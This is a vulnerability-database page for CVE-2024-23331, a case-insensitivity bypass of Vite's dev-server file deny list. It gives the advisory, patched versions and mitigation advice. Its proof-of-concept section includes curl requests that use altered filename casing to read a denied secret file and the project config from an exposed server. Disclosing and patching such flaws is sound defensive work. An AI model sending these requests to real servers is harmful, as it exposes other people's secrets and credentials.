CVE-2024-23331 is a high-severity (CVSS 7.5) CWE-178 vulnerability in vite. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for vite — see the affected versions and patch details below.
Vite dev server option `server.fs.deny` can be bypassed when hosted on case-insensitive filesystem
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2024-23331.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
vitenpmDescription
Summary
Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.
This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.
Patches
Fixed in [email protected], [email protected], [email protected], [email protected]
Details
Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.
See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632
By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.
PoC
Setup
- Created vanilla Vite project using
npm create vite@lateston a Standard Azure hosted Windows 10 instance.npm run dev -- --host 0.0.0.0- Publicly accessible for the time being here: http://20.12.242.81:5173/
- Created dummy secret files, e.g.
custom.secretandproduction.pem - Populated
vite.config.jswith
export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }
Reproduction
curl -s http://20.12.242.81:5173/@fs//- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT- Secrets are directly accessible using case-augmented version of filename
Proof
Impact
Who
- Users with exposed dev servers on environments with case-insensitive filesystems
What
- Files protected by
server.fs.denyare both discoverable, and accessible
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | vite | ≥ 2.7.0&&< 2.9.17 | 2.9.17npm install vite@2.9.17 |
| 📦npm | vite | ≥ 3.0.0&&< 3.2.8 | 3.2.8npm install vite@3.2.8 |
| 📦npm | vite | ≥ 4.0.0&&< 4.5.2 | 4.5.2npm install vite@4.5.2 |
| 📦npm | vite | ≥ 5.0.0&&< 5.0.12 | 5.0.12npm install vite@5.0.12 |
Affected Products
vitevitejsResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for vite, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update vite to 2.9.17 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-23331 is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is CVE-2024-23331 in your dependencies?
Find it across npm, including transitive dependencies.